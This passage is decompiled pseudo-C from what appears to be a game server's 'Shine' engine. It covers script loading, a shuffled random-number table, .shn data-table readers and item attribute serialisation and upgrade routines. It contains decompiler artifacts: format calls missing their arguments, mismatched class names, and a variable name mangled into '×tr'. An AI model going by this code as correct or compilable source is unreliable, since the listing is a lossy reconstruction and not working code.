; ++i ) { v15 = &type; v14 = i; v13 = 0; v12 = byte_59A24E; v17 = &v7; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, "DialogFile", 0x14u); v6 = OptionReader::or_Select(&or, "ScriptName", v7, v12, v13, v14, v15); if ( !v6 ) break; if ( type != 2 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Type error", type); ShineExit("KQScriptManager::kqsm_Load"); } KQScriptManager::kqsm_Load(v2, world, (char *)v6); } if ( i <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "KQScriptManager::kqsm_Load : No Script", i); ShineExit("KQScriptManager::kqsm_Load"); } v20 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (00550100) -------------------------------------------------------- int __thiscall RandomBox::rb_largerandom(RandomBox *this, int rnd) { int v2; // eax@1 signed int i; // esi@1 v2 = rnd; for ( i = 1; v2 > 100; i *= 2 ) v2 /= 2; return i * RandomBox::operator__(&rndbox, v2); } //----- (00550140) -------------------------------------------------------- void __thiscall RandomSlot::RandomSlot(RandomSlot *this) { this->rs_point.mask = 16383; this->rs_point.value = 0; } //----- (00550160) -------------------------------------------------------- void __thiscall RandomSlot::rs_Init(RandomSlot *this, int limit) { RandomSlot *v2; // esi@1 signed int v3; // ecx@1 signed int v4; // edi@1 signed int v5; // edi@3 unsigned __int64 v6; // qax@4 unsigned __int16 v7; // cx@4 signed int v8; // eax@5 v2 = this; v3 = 0; v4 = 0; do { v2->rs_slot[v3++] = v4 / 16384; v4 += limit; } while ( v3 < 16384 ); v5 = 0; do { v6 = (unsigned __int64)((double)rand() * 0.500015259254738); v7 = v2->rs_slot[v5]; v2->rs_slot[v5++] = v2->rs_slot[v6]; v2->rs_slot[v6] = v7; } while ( v5 < 16384 ); v8 = 0; do { if ( v2->rs_slot[v8] >= limit ) v2->rs_slot[v8] = 0; ++v8; } while ( v8 < 16384 ); } //----- (005501E0) -------------------------------------------------------- void __thiscall RandomBox::RandomBox(RandomBox *this) { RandomBox *v1; // edi@1 RandomSlot *v2; // ebp@1 signed int v3; // esi@1 int v4; // eax@1 RandomSlot *v5; // ebx@1 signed int v6; // esi@3 time_t tmstr; // [sp+14h] [bp-10h]@1 int v8; // [sp+20h] [bp-4h]@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x8008u, 101, (void (__thiscall *)(void *))RandomSlot::RandomSlot, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = v1->rb_thausend; v3 = 0; v8 = 0; _eh_vector_constructor_iterator_( v1->rb_thausend, 0x8008u, 4, (void (__thiscall *)(void *))RandomSlot::RandomSlot, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v4 = time(&tmstr); srand(v4); v5 = (RandomSlot *)v1; do { RandomSlot::rs_Init(v5, v3++); ++v5; } while ( v3 < 101 ); v6 = 4; do { RandomSlot::rs_Init(v2, 1000); ++v2; --v6; } while ( v6 ); } //----- (005502A0) -------------------------------------------------------- void __thiscall RandomBox::_RandomBox(RandomBox *this) { void *v1; // esi@1 v1 = this; _eh_vector_destructor_iterator_( this->rb_thausend, 0x8008u, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); _eh_vector_destructor_iterator_( v1, 0x8008u, 101, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00550310) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0xEBu, 0x32u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005503C0) -------------------------------------------------------- void __thiscall MobResistTable::MobResistTable(MobResistTable *this) { MobResistTable *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->mrt_BinData.baseclass_0); memset(&v1->mrt_BinData.bdb_defaultblock, 0, 0x30u); v1->mrt_BinData.bdb_defaultblock.ResKnockBack = 0; } //----- (005503E0) -------------------------------------------------------- void __thiscall MobResistTable::mrt_Load(MobResistTable *this) { BinaryDataBox::bdb_ReadData(&this->mrt_BinData, "../9Data/Shine/MobResist.shn"); } //----- (005503F0) -------------------------------------------------------- MobResist *__thiscall MobResistTable::operator__(MobResistTable *this, unsigned __int16 idx) { unsigned int v2; // edx@1 MobResist *result; // eax@2 v2 = this->mrt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; if ( idx < (signed int)v2 ) { if ( idx < v2 ) result = (MobResist *)CDataReader::GetRecord(&this->mrt_BinData.baseclass_0.baseclass_0, idx); else result = &this->mrt_BinData.bdb_defaultblock; } else { result = 0; } return result; } //----- (00550420) -------------------------------------------------------- unsigned __int16 __thiscall MobResistTable::operator__(MobResistTable *this, char *index) { MobResistTable *v2; // ebp@1 unsigned int v3; // eax@1 unsigned int v4; // edi@1 bool v5; // cf@2 const char *v6; // eax@4 signed int v7; // eax@7 v2 = this; v3 = this->mrt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 <= 0 ) { LABEL_8: AssertClass::ac_AssertFail(&shineassert, "MobResistTable::operator [] : Invalid index", index); ShineExit("MobResistTable::operator []"); } v5 = v3 > 0; while ( 1 ) { v6 = (const char *)(v5 ? CDataReader::GetRecord(&v2->mrt_BinData.baseclass_0.baseclass_0, v4) : &v2->mrt_BinData.bdb_defaultblock); if ( !strcmp(v6, index) ) return v4; v7 = v2->mrt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v4; v5 = v4 < v7; if ( (signed int)v4 >= v7 ) goto LABEL_8; } } //----- (005504D0) -------------------------------------------------------- FieldOption::FieldAttr *__thiscall FieldOption::fo_GetFieldAttr(FieldOption *this, char *mapname) { OptionReader *v2; // edi@1 int v3; // esi@1 char v4; // al@2 int v5; // esi@3 FieldOption::FieldAttr *result; // eax@3 ORToken v7; // [sp-20h] [bp-74h]@5 int v8; // [sp-1Ch] [bp-70h]@5 int v9; // [sp-18h] [bp-6Ch]@5 int v10; // [sp-14h] [bp-68h]@5 int v11; // [sp-10h] [bp-64h]@5 char *v12; // [sp-Ch] [bp-60h]@5 char *v13; // [sp-8h] [bp-5Ch]@5 int v14; // [sp-4h] [bp-58h]@5 ORToken *v15; // [sp+Ch] [bp-48h]@5 char map[64]; // [sp+10h] [bp-44h]@1 v2 = (OptionReader *)this; strncpy(map, mapname, 0x3Fu); v3 = (int)map; do v4 = *(_BYTE *)v3++; while ( v4 ); v5 = v3 - (_DWORD)&map[1]; result = 0; do { if ( v5 <= 0 ) break; v14 = 0; v13 = map; v12 = "MapIDClient"; v15 = &v7; map[v5] = 0; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, "FieldList", 0x14u); result = (FieldOption::FieldAttr *)OptionReader::or_SelectFrom(v2, v7, v12, v13, v14); --v5; } while ( !result ); return result; } //----- (00550570) -------------------------------------------------------- int __thiscall FieldOption::fo_GetMechineNumber(FieldOption *this, char *servergroup, unsigned int serial, int mymachine) { OptionReader *v4; // esi@1 void *v5; // eax@1 int result; // eax@3 ORToken v7; // [sp-24h] [bp-2Ch]@1 int v8; // [sp-20h] [bp-28h]@1 int v9; // [sp-1Ch] [bp-24h]@1 int v10; // [sp-18h] [bp-20h]@1 int v11; // [sp-14h] [bp-1Ch]@1 char *v12; // [sp-10h] [bp-18h]@1 int v13; // [sp-Ch] [bp-14h]@1 int v14; // [sp-8h] [bp-10h]@1 int *v15; // [sp-4h] [bp-Ch]@1 v15 = (int *)&serial; v14 = 0; v4 = (OptionReader *)this; v13 = serial; v12 = "Serial"; serial = (unsigned int)&v7; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, "FieldList", 0x14u); v5 = OptionReader::or_Select(v4, servergroup, v7, v12, v13, v14, v15); if ( v5 && serial == 3 ) result = *(_BYTE *)v5; else result = -1; return result; } //----- (005505E0) -------------------------------------------------------- void __thiscall FieldOption::fo_Store(FieldOption *this, FieldOption::FieldAttr *fldtemplet) { int v2; // eax@1 v2 = this->fo_Number; if ( v2 < 512 ) { this->fo_Array[v2] = fldtemplet; ++this->fo_Number; } } //----- (00550610) -------------------------------------------------------- ItemAttributeClass *__thiscall ItemAttributeClassContainer::operator__(ItemAttributeClassContainer *this, unsigned __int16 itmid) { ItemAttributeClass *v2; // esi@1 ItemDataBox::ItemDataBoxIndex *v3; // eax@1 ItemInfo *v4; // eax@2 v2 = (ItemAttributeClass *)this; v3 = ItemDataBox::operator__(&itemdatabox, itmid); if ( !v3 ) return v2; v4 = v3->data; if ( v4->Class >= 28 ) { AssertClass::ac_AssertFail(&shineassert, "ItemAttributeClassContainer::operator [] : Invalid item class", v4->Class); return v2; } return (ItemAttributeClass *)v2[v4->Class + 29].vfptr; } //----- (00550660) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_ItemClass(ItemAttributeClass *this) { return 255; } //----- (00550670) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_ByteLot::iac_GetLot(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm) { return itm->itemattr.blot.lot; } //----- (00550680) -------------------------------------------------------- void __thiscall ItemAttrCls_ByteLot::iac_SetLot(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm, unsigned int lot) { itm->itemattr.blot.lot = lot; } //----- (00550690) -------------------------------------------------------- int __thiscall ItemAttrCls_WordLot::iac_GetLot(ItemAttrCls_KQStep *this, SHINE_ITEM_STRUCT *itm) { return *(_WORD *)&itm->itemattr.blot.lot; } //----- (005506A0) -------------------------------------------------------- int __thiscall ItemAttrCls_DwrdLot::iac_GetLot(ItemAttrCls_Amount *this, SHINE_ITEM_STRUCT *itm) { return *(_DWORD *)&itm->itemattr.blot.lot; } //----- (005506B0) -------------------------------------------------------- void __thiscall ItemAttrCls_QuestLot::iac_SetLot(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, unsigned int lot) { *(_WORD *)&itm->itemattr.blot.lot = lot; } //----- (005506C0) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Amulet::iac_GetDeteleDateTime(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)&itm->itemattr; } //----- (005506D0) -------------------------------------------------------- int __thiscall ItemAttrCls_Amulet::iac_Getupgrade(ItemAttrCls_Amulet *this, ItemTotalInformation *itm) { return itm->iti_itemstruct.itemattr.amulet.upgrade; } //----- (005506E0) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Weapon::iac_GetDeteleDateTime(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)&itm->itemattr.amulet.option.optionlist[7].itemoption_value; } //----- (005506F0) -------------------------------------------------------- int __thiscall ItemAttrCls_Armor::iac_Getupgrade(ItemAttrCls_Boot *this, ItemTotalInformation *itm) { return itm->iti_itemstruct.itemattr.blot.lot; } //----- (00550700) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Furniture::iac_GetDeteleDateTime(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)((char *)&itm->itemattr.dlot.lot + 3); } //----- (00550710) -------------------------------------------------------- int __thiscall ItemAttrCls_Armor::iac_ItemClass(ItemAttrCls_Armor *this) { return 6; } //----- (00550720) -------------------------------------------------------- int __thiscall ItemAttrCls_Shield::iac_ItemClass(ItemAttrCls_Shield *this) { return 7; } //----- (00550730) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Furniture::iac_GetEndureEndTime(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)((char *)&itm->itemattr.amulet.option.optionlist[1].itemoption_value + 1); } //----- (00550740) -------------------------------------------------------- int __thiscall ItemAttrCls_BindItem::iac_ItemClass(ItemAttrCls_BindItem *this) { return 13; } //----- (00550750) -------------------------------------------------------- int __thiscall ItemAttrCls_UpSource::iac_ItemClass(ItemAttrCls_UpSource *this) { return 14; } //----- (00550760) -------------------------------------------------------- ShineItemAttr_ItemChest *__thiscall ItemAttrCls_ItemChest::iac_Getitemchest(ItemAttrCls_ItemChest *this, ItemTotalInformation *itm) { return (ShineItemAttr_ItemChest *)&itm->iti_itemstruct.itemattr; } //----- (00550770) -------------------------------------------------------- int __thiscall ItemAttrCls_UpgradeBlueGem::iac_ItemClass(ItemAttrCls_UpgradeBlueGem *this) { return 20; } //----- (00550780) -------------------------------------------------------- int __thiscall ItemAttrCls_KQStep::iac_ItemClass(ItemAttrCls_KQStep *this) { return 21; } //----- (00550790) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Riding::iac_GetDeteleDateTime(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)((char *)&itm->itemattr.dlot.lot + 2); } //----- (005507A0) -------------------------------------------------------- void __thiscall ItemAttributeClass::iac_SetEndTime(ItemAttributeClass *this, ShineDateTime *deletetime, int hour, tm *curtime, int curhour) { int v5; // edx@3 struct tm timestr; // [sp+0h] [bp-24h]@3 if ( hour > 0 ) { memcpy((void *)×tr, curtime, sizeof(timestr)); timestr.tm_hour = curhour + hour; mktime(×tr); v5 = timestr.tm_min; LOBYTE(deletetime->_bf0) = LOBYTE(timestr.tm_year) - 100; deletetime->_bf0 = deletetime->_bf0 & 0xFF | ((LOWORD(timestr.tm_mon) + 1) << 8) & 0x1F00 | ((timestr.tm_mday & 0x3F | ((timestr.tm_hour & 0x3F | (v5 << 6)) << 6)) << 13); } else { deletetime->_bf0 = 1992027391; } } //----- (00550840) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_smo_CrossCounterDamage(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm) { return -1; } //----- (00550850) -------------------------------------------------------- void __thiscall ItemAttrCls_Amount::iac_SetAmount(ItemAttrCls_Amount *this, SHINE_ITEM_STRUCT *itm, int amount) { *(_DWORD *)&itm->itemattr.blot.lot = amount; } //----- (00550860) -------------------------------------------------------- ItemOptionStorage *__thiscall ItemAttrCls_Amulet::iac_GetItemOptionStruct(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm) { return &itm->itemattr.amulet.option; } //----- (00550870) -------------------------------------------------------- ItemOptionStorage *__thiscall ItemAttrCls_Weapon::iac_GetItemOptionStruct(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm) { return &itm->itemattr.weapon.option; } //----- (00550880) -------------------------------------------------------- ItemOptionStorage *__thiscall ItemAttrCls_Boot::iac_GetItemOptionStruct(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm) { return (ItemOptionStorage *)itm->itemattr.amulet.upgradeopton; } //----- (00550890) -------------------------------------------------------- unsigned __int16 __thiscall ItemAttributeClass::iac_GetItemOptionUpgrade(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, char Type) { return 0; } //----- (005508A0) -------------------------------------------------------- unsigned __int16 __thiscall ItemAttrCls_Amulet::iac_GetItemOptionUpgrade(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char Type) { unsigned __int16 result; // ax@2 if ( (unsigned __int8)Type >= 5u ) result = 0; else result = itm->itemattr.amulet.upgradeopton[(unsigned __int8)Type]; return result; } //----- (005508C0) -------------------------------------------------------- char *__thiscall ItemAttributeClass::iac_fill2struct(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, char *buffer) { return buffer; } //----- (005508D0) -------------------------------------------------------- char *__thiscall ItemAttrCls_ByteLot::iac_fill2buffer(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *buffer = itm->itemattr.blot.lot; return buffer + 1; } //----- (005508F0) -------------------------------------------------------- char *__thiscall ItemAttrCls_QuestLot::iac_fill2buffer(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_WORD *)buffer = *(_WORD *)&itm->itemattr.blot.lot; return buffer + 2; } //----- (00550910) -------------------------------------------------------- char *__thiscall ItemAttrCls_Furniture::iac_fill2buffer(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x24u); return buffer + 36; } //----- (00550930) -------------------------------------------------------- char *__thiscall ItemAttrCls_SkillScroll::iac_fill2buffer(ItemAttrCls_WeaponTitlaLicence *this, SHINE_ITEM_STRUCT *itm, char *buffer) { return buffer + 1; } //----- (00550940) -------------------------------------------------------- char *__thiscall ItemAttrCls_BindItem::iac_fill2buffer(ItemAttrCls_BindItem *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x65u); return &buffer[10 * (unsigned __int8)*buffer + 1]; } //----- (00550970) -------------------------------------------------------- char *__thiscall ItemAttrCls_ItemChest::iac_fill2buffer(ItemAttrCls_ItemChest *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x41u); return &buffer[8 * (*buffer & 0xF) + 1]; } //----- (005509A0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Riding::iac_fill2buffer(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_QWORD *)buffer = *(_QWORD *)&itm->itemattr.blot.lot; return buffer + 8; } //----- (005509C0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Amount::iac_fill2buffer(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_DWORD *)buffer = *(_DWORD *)&itm->itemattr.blot.lot; return buffer + 4; } //----- (005509E0) -------------------------------------------------------- char *__thiscall ItemAttrCls_ByteLot::iac_fill2struct(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { itm->itemattr.blot.lot = *buffer; return buffer + 1; } //----- (00550A00) -------------------------------------------------------- char *__thiscall ItemAttrCls_QuestLot::iac_fill2struct(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_WORD *)&itm->itemattr.blot.lot = *(_WORD *)buffer; return buffer + 2; } //----- (00550A20) -------------------------------------------------------- char *__thiscall ItemAttrCls_Furniture::iac_fill2struct(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x24u); return buffer + 36; } //----- (00550A40) -------------------------------------------------------- char *__thiscall ItemAttrCls_BindItem::iac_fill2struct(ItemAttrCls_BindItem *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, sizeof(itm->itemattr)); return &buffer[10 * (unsigned __int8)*buffer + 1]; } //----- (00550A70) -------------------------------------------------------- char *__thiscall ItemAttrCls_ItemChest::iac_fill2struct(ItemAttrCls_ItemChest *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x41u); return &buffer[8 * (*buffer & 0xF) + 1]; } //----- (00550AA0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Riding::iac_fill2struct(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_QWORD *)&itm->itemattr.blot.lot = *(_QWORD *)buffer; return buffer + 8; } //----- (00550AC0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Decoration::iac_fill2struct(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_DWORD *)&itm->itemattr.blot.lot = *(_DWORD *)buffer; return buffer + 4; } //----- (00550AE0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_WordLot::iac_GetAttrSize(ItemAttrCls_QuestLot *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 2; } //----- (00550AF0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_DwrdLot::iac_GetAttrSize(ItemAttrCls_ActionItem *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 4; } //----- (00550B00) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Furniture::iac_GetAttrSize(ItemAttrCls_Furniture *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 36; } //----- (00550B10) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_BindItem::iac_GetAttrSize(ItemAttrCls_BindItem *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 10 * itmattr->blot.lot + 1; } //----- (00550B30) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_ItemChest::iac_GetAttrSize(ItemAttrCls_ItemChest *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 65; } //----- (00550B40) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Riding::iac_GetAttrSize(ItemAttrCls_Riding *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 8; } //----- (00550B50) -------------------------------------------------------- void __thiscall ItemAttributeClass::iac_Setoption(ItemAttributeClass *this, ItemOptionStorage *option, char *arg) { char v3; // al@1 ItemOptionStorage *v4; // edi@3 unsigned int v5; // esi@3 __int16 v6; // dx@5 int v7; // eax@5 v3 = arg[2]; if ( v3 == 73 || v3 == 105 ) { option->fixed.optionnumber.str._bf0 |= 1u; } else { v4 = option; v5 = (unsigned int)option->fixed.optionnumber.str._bf0 >> 1; if ( (signed int)v5 < 8 ) { if ( sscanf(arg + 2, "%d/%d") == 2 ) { v6 = (signed __int16)arg; v7 = (int)((char *)v4 + 2 * v5 + v5); *(_BYTE *)(v7 + 1) = (_BYTE)option; *(_WORD *)(v7 + 2) = v6; v4->fixed.optionnumber.str._bf0 = v4->fixed.optionnumber.str._bf0 & 1 ^ ((v4->fixed.optionnumber.str._bf0 & 0xFE) + 2); } } } } //----- (00550BD0) -------------------------------------------------------- void __thiscall ItemAttrCls_ByteLot::iac_itemcreate(ItemAttrCls_ByteLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 76 || v4 == 108 ) { sscanf(arg + 2, "%d"); itm->iti_itemstruct.itemattr.blot.lot = (char)arg; } } //----- (00550C10) -------------------------------------------------------- void __thiscall ItemAttrCls_WordLot::iac_itemcreate(ItemAttrCls_QuestLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 76 || v4 == 108 ) { sscanf(arg + 2, "%d"); *(_WORD *)&itm->iti_itemstruct.itemattr.blot.lot = (_WORD)arg; } } //----- (00550C50) -------------------------------------------------------- void __thiscall ItemAttrCls_DwrdLot::iac_itemcreate(ItemAttrCls_DwrdLot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char v4; // al@1 v4 = arg[1]; if ( v4 == 76 || v4 == 108 ) { sscanf(arg + 2, "%d"); *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot = arg; } } //----- (00550C90) -------------------------------------------------------- void __thiscall ItemAttrCls_Amulet::iac_itemcreate(ItemAttrCls_Amulet *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // edi@1 char v5; // al@1 char v6; // al@4 char v7; // al@7 signed int v8; // edx@9 bool v9; // zf@9 bool v10; // sf@9 int v11; // ecx@10 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) { itm->iti_itemstruct.itemattr.amulet.upgradefailcount = 0; itm->iti_itemstruct.itemattr.amulet.strengthen = 0; itm->iti_itemstruct.itemattr.amulet.upgrade = 0; *(_QWORD *)&itm->iti_itemstruct.itemattr.amulet.upgradeopton[0] = 0i64; itm->iti_itemstruct.itemattr.amulet.upgradeopton[4] = 0; *(_DWORD *)&itm->iti_itemstruct.itemattr.blot.lot &= 0xFFu; itm->iti_itemstruct.itemattr.amulet.option.fixed.optionnumber.str._bf0 = 1; itm->iti_itemstruct.itemattr.blot.lot = 0; } v6 = v4[1]; if ( v6 == 80 || v6 == 112 ) ItemAttributeClass::iac_Setoption(&this->baseclass_0.baseclass_0, &itm->iti_itemstruct.itemattr.amulet.option, v4); v7 = v4[1]; if ( v7 == 85 || v7 == 117 ) { sscanf(v4 + 2, "%d"); v8 = 0; v9 = arg == 0; v10 = (signed int)arg < 0; itm->iti_itemstruct.itemattr.amulet.upgrade = (char)arg; if ( !(v10 | v9) ) { do { rndbox.rb_box[5].rs_point.value = rndbox.rb_box[5].rs_point.mask & (rndbox.rb_box[5].rs_point.value + 1); v11 = rndbox.rb_box[5].rs_slot[rndbox.rb_box[5].rs_point.value]; rndbox.rb_box[30].rs_point.value = rndbox.rb_box[30].rs_point.mask & (rndbox.rb_box[30].rs_point.value + 1); itm->iti_itemstruct.itemattr.amulet.upgradeopton[v11] += rndbox.rb_box[30].rs_slot[rndbox.rb_box[30].rs_point.value] + 5; ++v8; } while ( v8 < (signed int)arg ); } } } //----- (00550D60) -------------------------------------------------------- void __thiscall ItemAttrCls_Weapon::iac_itemcreate(ItemAttrCls_Weapon *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // esi@1 char v5; // al@1 ItemTotalInformation *v6; // edi@3 char v7; // al@6 ItemTotalInformation *v8; // ecx@13 int v9; // eax@13 signed int v10; // edx@13 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) { v8 = itm; BYTE2(itm->iti_itemstruct.itemattr.dlot.lot) = 0; HIBYTE(v8->iti_itemstruct.itemattr.wlot.lot) = 0; v8->iti_itemstruct.itemattr.blot.lot = 0; v8->iti_itemstruct.itemattr.amulet.option.fixed.optionnumber.str._bf0 = 0; v9 = (int)&v8->iti_itemstruct.itemattr.amulet.strengthen; v10 = 3; do { *(_WORD *)(v9 - 2) = -1; *(_DWORD *)v9 = 0; v9 += 6; --v10; } while ( v10 ); *(_DWORD *)&v8->iti_itemstruct.itemattr.amulet.option.optionlist[7].itemoption_value &= 0xFFu; HIBYTE(v8->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_value) = 0; LOBYTE(v8->iti_itemstruct.itemattr.amulet.option.optionlist[7].itemoption_value) = 0; *(_WORD *)&v8->iti_itemstruct.itemattr.amulet.option.optionlist[1].itemoption_type = -1; v8->iti_itemstruct.itemattr.weapon.option.fixed.optionnumber.str._bf0 = 1; } else { v6 = itm; if ( v5 == 80 || v5 == 112 ) ItemAttributeClass::iac_Setoption( &this->baseclass_0.baseclass_0, &itm->iti_itemstruct.itemattr.weapon.option, arg); v7 = v4[1]; if ( v7 == 85 || v7 == 117 ) { sscanf(v4 + 2, "%d"); v6->iti_itemstruct.itemattr.blot.lot = (char)itm; } else { if ( v7 == 83 || v7 == 115 ) { sscanf(v4 + 2, "%d"); HIBYTE(v6->iti_itemstruct.itemattr.wlot.lot) = (_BYTE)itm; } } } } //----- (00550E30) -------------------------------------------------------- void __thiscall ItemAttrCls_Shield::iac_itemcreate(ItemAttrCls_Shield *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // esi@1 char v5; // al@1 ItemTotalInformation *v6; // edi@3 char v7; // al@6 ItemTotalInformation *v8; // eax@13 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) { v8 = itm; *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3) &= 0xFFu; BYTE2(v8->iti_itemstruct.itemattr.dlot.lot) = 0; v8->iti_itemstruct.itemattr.blot.lot = 0; HIBYTE(v8->iti_itemstruct.itemattr.wlot.lot) = 0; v8->iti_itemstruct.itemattr.amulet.option.fixed.optionnumber.str._bf0 = 0; LOBYTE(v8->iti_itemstruct.itemattr.amulet.upgradeopton[0]) = 1; BYTE3(v8->iti_itemstruct.itemattr.dlot.lot) = 0; } else { v6 = itm; if ( v5 == 80 || v5 == 112 ) ItemAttributeClass::iac_Setoption( &this->baseclass_0.baseclass_0, (ItemOptionStorage *)itm->iti_itemstruct.itemattr.amulet.upgradeopton, arg); v7 = v4[1]; if ( v7 == 85 || v7 == 117 ) { sscanf(v4 + 2, "%d"); v6->iti_itemstruct.itemattr.blot.lot = (char)itm; } else { if ( v7 == 83 || v7 == 115 ) { sscanf(v4 + 2, "%d"); HIBYTE(v6->iti_itemstruct.itemattr.wlot.lot) = (_BYTE)itm; } } } } //----- (00550EE0) -------------------------------------------------------- void __thiscall ItemAttrCls_Boot::iac_itemcreate(ItemAttrCls_Boot *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg) { char *v4; // esi@1 char v5; // al@1 ItemTotalInformation *v6; // edi@3 char v7; // al@6 ItemTotalInformation *v8; // eax@13 v4 = arg; v5 = arg[1]; if ( v5 == 79 || v5 == 111 ) { v8 = itm; *(unsigned int *)((char *)&itm->iti_itemstruct.itemattr.dlot.lot + 3) &= 0xFFu; BYTE2(v8->iti_itemstruct.itemattr.dlot.lot) = 0; HIBYTE(v8->iti_itemstruct.itemattr.wlot.lot) = 0; v8->iti_itemstruct.itemattr.blot.lot = 0; v8->iti_itemstruct.itemattr.amulet.option.fixed.optionnumber.str._bf0 = 0; LOBYTE(v8->iti_itemstruct.itemattr.amulet.upgradeopton[0]) = 1; BYTE3(v8->iti_itemstruct.itemattr.dlot.lot) = 0; } else { v6 = itm; if ( v5 == 80 || v5 == 112 ) ItemAttributeClass::iac_Setoption( 